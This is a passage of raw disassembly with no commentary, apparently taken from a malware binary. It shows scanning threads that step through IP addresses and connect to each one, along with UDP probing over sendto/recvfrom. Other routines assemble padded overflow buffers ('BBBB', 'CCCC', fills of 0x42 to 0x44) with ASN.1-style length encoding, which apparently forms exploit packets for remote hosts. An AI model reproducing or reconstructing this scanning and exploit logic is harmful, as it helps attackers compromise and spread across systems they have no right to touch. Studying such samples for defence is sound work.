eax call ds:dword_4E3060 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C6A9: ; CODE XREF: sub_40C611+27j pop edi pop esi pop ebx leave retn sub_40C611 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call sub_41EF80 push ebx push esi push edi mov edi, 2649h push edi call ds:dword_4E2FC8 ; htons push dword ptr [ebp+10h] mov [ebp-28h], ax call ds:dword_4E2FC8 ; htons mov [ebp-26h], ax call sub_41EB70 xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call ds:dword_4E2FC8 ; htons mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call ds:dword_4E2FC8 ; htons mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call sub_41FBF0 lea eax, [ebp-58h] push 20h push eax call sub_40AF06 mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call sub_41E4B0 add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call ds:dword_4E2FC8 ; htons push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call ds:dword_4E3048 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C7AD push offset aSocketOpenFail ; "socket open failed" jmp loc_40C870 ; --------------------------------------------------------------------------- loc_40C7AD: ; CODE XREF: _0:0040C7A1j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call ds:dword_4E302C ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_40C7F6 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call sub_41EA60 lea eax, [ebp-0D8h] push eax call sub_415A3C add esp, 14h jmp short loc_40C862 ; --------------------------------------------------------------------------- loc_40C7F6: ; CODE XREF: _0:0040C7C8j push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_41E4B0 add esp, 0Ch jmp short loc_40C82D ; --------------------------------------------------------------------------- loc_40C80D: ; CODE XREF: _0:0040C834j lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call ds:dword_4E2FA0 ; recvfrom test eax, eax jl short loc_40C857 loc_40C82D: ; CODE XREF: _0:0040C80Bj cmp [ebp-100FAh], di jnz short loc_40C80D push esi call ds:dword_4E3060 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_40C86B push offset aSocketOpen_ ; "Socket open." call sub_415A3C xor eax, eax pop ecx inc eax jmp short loc_40C878 ; --------------------------------------------------------------------------- loc_40C857: ; CODE XREF: _0:0040C82Bj push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_415A3C pop ecx loc_40C862: ; CODE XREF: _0:0040C7F4j push esi call ds:dword_4E3060 ; closesocket jmp short loc_40C876 ; --------------------------------------------------------------------------- loc_40C86B: ; CODE XREF: _0:0040C845j push offset aSocketClosed_ ; "Socket closed." loc_40C870: ; CODE XREF: _0:0040C7A8j call sub_415A3C pop ecx loc_40C876: ; CODE XREF: _0:0040C869j xor eax, eax loc_40C878: ; CODE XREF: _0:0040C855j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C87D proc near ; DATA XREF: sub_40CA91+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 mov ebx, esi pop ecx imul ebx, 234h jmp loc_40CA6E ; --------------------------------------------------------------------------- loc_40C8C9: ; CODE XREF: sub_40C87D+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40C8DF lea eax, [ebp+var_150] push eax call sub_40C575 pop ecx jmp short loc_40C8E4 ; --------------------------------------------------------------------------- loc_40C8DF: ; CODE XREF: sub_40C87D+51j call sub_40C52D loc_40C8E4: ; CODE XREF: sub_40C87D+60j pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_455F04[ebx] push [ebp+var_3C] push edi call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4488B4 push eax call sub_41EA60 lea eax, [ebp+var_28C] push eax lea eax, dword_455D00[ebx] push eax call sub_41EA60 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C611 add esp, 2Ch cmp eax, 1 jnz loc_40CA63 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C9B8 push offset dword_4E5110 call ds:dword_4F53A8 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4488EC push eax call sub_41EA60 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C99A cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C98E lea eax, [ebp+var_140] loc_40C98E: ; CODE XREF: sub_40C87D+109j push eax push [ebp+var_40] call sub_409C75 add esp, 14h loc_40C99A: ; CODE XREF: sub_40C87D+EEj lea eax, [ebp+var_28C] push eax call sub_415A3C mov [esp+2A8h+var_2A8], offset dword_4E5110 call ds:dword_4F53A4 ; RtlLeaveCriticalSection jmp loc_40CA63 ; --------------------------------------------------------------------------- loc_40C9B8: ; CODE XREF: sub_40C87D+BEj push edi call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41EA60 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41EA60 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C9FC lea eax, [ebp+var_140] loc_40C9FC: ; CODE XREF: sub_40C87D+177j push eax lea eax, [ebp+var_1F8] push eax call sub_41EA60 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call ds:off_4481F4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40CA63: ; CODE XREF: sub_40C87D+B4j ; sub_40C87D+136j push 7D0h call ds:dword_4F534C ; Sleep loc_40CA6E: ; CODE XREF: sub_40C87D+47j mov eax, ds:dword_455F04[ebx] cmp ds:dword_4E3114[eax*8], 0 jnz loc_40C8C9 push esi call sub_40B9A7 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_40C87D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA91 proc near ; DATA XREF: sub_401C87+1F2Eo ; sub_401C87+5D06o var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_4E3008 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_4E3110[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40C049 push 0Bh call sub_40B8D3 add esp, 150h cmp eax, ebx jnz short loc_40CB5F mov esi, offset dword_4E5110 push esi call ds:dword_4F53B0 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4F53AC ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40CB5F lea eax, [ebp+var_1CC] push offset unk_448914 push eax call sub_41EA60 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40CB49 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409C75 add esp, 14h loc_40CB49: ; CODE XREF: sub_40CA91+99j lea eax, [ebp+var_1CC] push eax call sub_415A3C pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40CB5F: ; CODE XREF: sub_40CA91+63j ; sub_40CA91+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_4F534C mov edi, ebx mov ds:dword_4E3114[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40CC21 loc_40CB7D: ; CODE XREF: sub_40CA91+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_448948 push eax call sub_41EA60 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B691 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_455F04[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C87D push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_40CC38 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_44897C push eax call sub_41EA60 lea eax, [ebp+var_1CC] push eax call sub_415A3C add esp, 10h loc_40CC13: ; CODE XREF: sub_40CA91+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40CB7D loc_40CC21: ; CODE XREF: sub_40CA91+E6j cmp [ebp+var_30], ebx jz short loc_40CC46 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40CC53 ; --------------------------------------------------------------------------- loc_40CC34: ; CODE XREF: sub_40CA91+1AAj push 1Eh call esi ; Sleep loc_40CC38: ; CODE XREF: sub_40CA91+159j cmp [ebp+var_4], ebx jz short loc_40CC34 jmp short loc_40CC13 ; --------------------------------------------------------------------------- loc_40CC3F: ; CODE XREF: sub_40CA91+1C0j push 7D0h call esi ; Sleep loc_40CC46: ; CODE XREF: sub_40CA91+193j mov eax, [ebp+var_2C] cmp ds:dword_4E3114[eax*8], 1 jz short loc_40CC3F loc_40CC53: ; CODE XREF: sub_40CA91+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_4E3110[eax*8] push eax call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_4489B4 push eax call sub_41EA60 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40CCA1 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409C75 add esp, 14h loc_40CCA1: ; CODE XREF: sub_40CA91+1F1j lea eax, [ebp+var_1CC] push eax call sub_415A3C mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov ds:dword_4E3114[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B8D3 cmp eax, 1 pop ecx jnz short loc_40CCD8 push offset dword_4E5110 call ds:dword_4F53B0 ; RtlDeleteCriticalSection loc_40CCD8: ; CODE XREF: sub_40CA91+23Aj push [ebp+var_2C] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_40CA91 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE8 proc near ; DATA XREF: sub_40CDB5+7Bo ; sub_40CEA6+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A8h], esi lea eax, [ebp+var_10] push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call ds:dword_4E2FC8 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_4E3048 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40CDA6 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4E2F70 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_455F0C[ecx], esi jz short loc_40CDA6 push [ebp+var_38] push [ebp+var_28] call ds:dword_4E3054 ; inet_ntoa push eax mov edi, offset dword_4E5AD0 push offset unk_4489F4 push edi call sub_41EA60 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409C75 push edi call sub_415A3C add esp, 28h loc_40CDA6: ; CODE XREF: sub_40CCE8+5Dj ; sub_40CCE8+7Ej push esi call ds:dword_4E3060 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40CCE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40CDB5 proc near ; DATA XREF: sub_401C87+60F4o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_4F534C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CDE3: ; CODE XREF: sub_40CDB5+ECj push [ebp+var_30] push [ebp+var_20] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_448A1C push eax call sub_41EA60 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_455D00 push eax call sub_41E510 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40CCE8 push edi push edi call ds:dword_4F5350 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40CE4F jmp short loc_40CE4A ; --------------------------------------------------------------------------- loc_40CE46: ; CODE XREF: sub_40CDB5+98j push 32h call esi ; Sleep loc_40CE4A: ; CODE XREF: sub_40CDB5+8Fj cmp [ebp+var_C], edi jz short loc_40CE46 loc_40CE4F: ; CODE XREF: sub_40CDB5+8Dj push [ebp+var_4] call ds:off_4F533C push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_41FBF0 add esp, 0Ch push [ebp+arg_0] call ds:dword_4E2EF0 ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_4E2FC4 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_41FBF0 add esp, 0Ch jmp loc_40CDE3 sub_40CDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEA6 proc near ; DATA XREF: sub_401C87+5E0Bo var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_4F534C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CED4: ; CODE XREF: sub_40CEA6+BCj push [ebp+var_2C] push [ebp+var_1C] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_448A44 push eax call sub_41EA60 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_455D00 push eax call sub_41E510 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40CCE8 push edi push edi call ds:dword_4F5350 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40CF40 jmp short loc_40CF3B ; --------------------------------------------------------------------------- loc_40CF37: ; CODE XREF: sub_40CEA6+98j push 32h call esi ; Sleep loc_40CF3B: ; CODE XREF: sub_40CEA6+8Fj cmp [ebp+var_8], edi jz short loc_40CF37 loc_40CF40: ; CODE XREF: sub_40CEA6+8Dj push [ebp+arg_0] call ds:off_4F533C push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40CF67 inc [ebp+var_2C] jmp loc_40CED4 ; --------------------------------------------------------------------------- loc_40CF67: ; CODE XREF: sub_40CEA6+B7j push [ebp+var_1C] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_448A70 push eax call sub_41EA60 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409C75 push [ebp+var_20] call sub_40B9A7 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CEA6 endp ; =============== S U B R O U T I N E ======================================= sub_40CFB3 proc near ; CODE XREF: sub_40D24D+Ep ; sub_40D24D+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CFB3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_41BC70 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40CFEB mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_40CFEB proc near ; CODE XREF: _0:0040CFD5p ; sub_40D24D+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_41BE40 mov edi, eax pop ecx test edi, edi jz short loc_40D01D push ebx push 0 push edi call sub_41E4B0 push ebx push [esp+1Ch+arg_0] push edi call sub_41FBF0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40D01D: ; CODE XREF: sub_40CFEB+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D025 proc near ; CODE XREF: sub_40D117+18p ; sub_40D191+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_41BE40 mov esi, eax pop ecx test esi, esi jz short loc_40D071 push edi push 0 push esi call sub_41E4B0 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41FBF0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41FBF0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40D071: ; CODE XREF: sub_40D025+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40D025 endp ; =============== S U B R O U T I N E ======================================= sub_40D07A proc near ; CODE XREF: sub_40D117+5Ep ; sub_40D117+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40D08A push eax call sub_41C9D0 pop ecx loc_40D08A: ; CODE XREF: sub_40D07A+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40D07A endp ; =============== S U B R O U T I N E ======================================= sub_40D093 proc near ; CODE XREF: sub_40D117+20p ; sub_40D1F2+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40D0BD xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41BE40 mov edi, eax pop ecx test edi, edi jnz short loc_40D0C1 loc_40D0BD: ; CODE XREF: sub_40D093+Dj xor al, al jmp short loc_40D113 ; --------------------------------------------------------------------------- loc_40D0C1: ; CODE XREF: sub_40D093+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41E4B0 add esp, 0Ch cmp ebx, 1 jnz short loc_40D0E1 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40D0F6 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D093+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40D0F6: ; CODE XREF: sub_40D093+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_41FBF0 add esp, 0Ch push dword ptr [esi] call sub_41C9D0 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40D113: ; CODE XREF: sub_40D093+2Cj pop edi pop esi pop ebx retn sub_40D093 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D117 proc near ; CODE XREF: sub_40D24D+89p ; sub_40D24D+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset byte_4E5CD8 call sub_40D025 lea ecx, [ebp+var_8] call sub_40D093 mov eax, [ebp+var_4] inc eax push eax call sub_41BE40 mov edi, eax pop ecx test edi, edi jnz short loc_40D151 xor al, al jmp short loc_40D18D ; --------------------------------------------------------------------------- loc_40D151: ; CODE XREF: sub_40D117+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41E4B0 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41FBF0 add esp, 18h mov ecx, esi call sub_40D07A mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40D07A mov al, 1 loc_40D18D: ; CODE XREF: sub_40D117+38j pop edi pop esi leave retn sub_40D117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D191 proc near ; CODE XREF: sub_40D1C5+14p ; sub_40D1E2+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40D025 mov ecx, esi call sub_40D07A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40D191 endp ; =============== S U B R O U T I N E ======================================= sub_40D1C5 proc near ; CODE XREF: sub_40D24D+F0p ; sub_40D24D+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41BC70 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40D191 pop esi retn 4 sub_40D1C5 endp ; =============== S U B R O U T I N E ======================================= sub_40D1E2 proc near ; CODE XREF: sub_40D22E+Bp ; sub_40D24D+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40D191 retn 8 sub_40D1E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1F2 proc near ; CODE XREF: sub_40D22E+16p ; sub_40D24D+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40D093 test al, al jz short loc_40D22B push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_448E17+1) call sub_40D025 mov ecx, esi call sub_40D07A mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40D22B: ; CODE XREF: sub_40D1F2+Fj pop esi leave retn sub_40D1F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D22E proc near ; CODE XREF: sub_40D24D+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40D1E2 test al, al jz short loc_40D249 mov ecx, esi call sub_40D1F2 loc_40D249: ; CODE XREF: sub_40D22E+12j pop esi retn 8 sub_40D22E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24D proc near ; CODE XREF: _0:0040DAA1p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CFB3 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D591 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D591 push esi lea ecx, [ebp+var_30] call sub_40CFB3 lea ecx, [ebp+var_20] call sub_40CFB3 lea ecx, [ebp+var_50] call sub_40CFB3 lea ecx, [ebp+var_18] call sub_40CFB3 lea ecx, [ebp+var_40] call sub_40CFB3 lea ecx, [ebp+var_38] call sub_40CFB3 lea ecx, [ebp+var_28] call sub_40CFB3 push 4 push offset dword_448AAC lea ecx, [ebp+var_30] call sub_40D191 push 3 push offset dword_448AB4 lea ecx, [ebp+var_30] call sub_40D191 lea ecx, [ebp+var_30] call sub_40D117 lea ecx, [ebp+var_30] call sub_40D1F2 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41E4B0 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40D191 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40D191 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40D191 lea ecx, [ebp+var_20] call sub_40D117 push offset loc_448E1C lea ecx, [ebp+var_50] call sub_40D1C5 lea ecx, [ebp+var_50] call sub_40D117 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CFEB lea ecx, [ebp+var_58] call sub_40D117 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40D22E lea ecx, [ebp+var_58] call sub_40D07A push esi lea eax, [ebp+var_858] push 43h push eax call sub_41E4B0 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40D1C5 push 4 push offset dword_448AB8 lea ecx, [ebp+var_18] call sub_40D191 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40D191 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40D191 lea 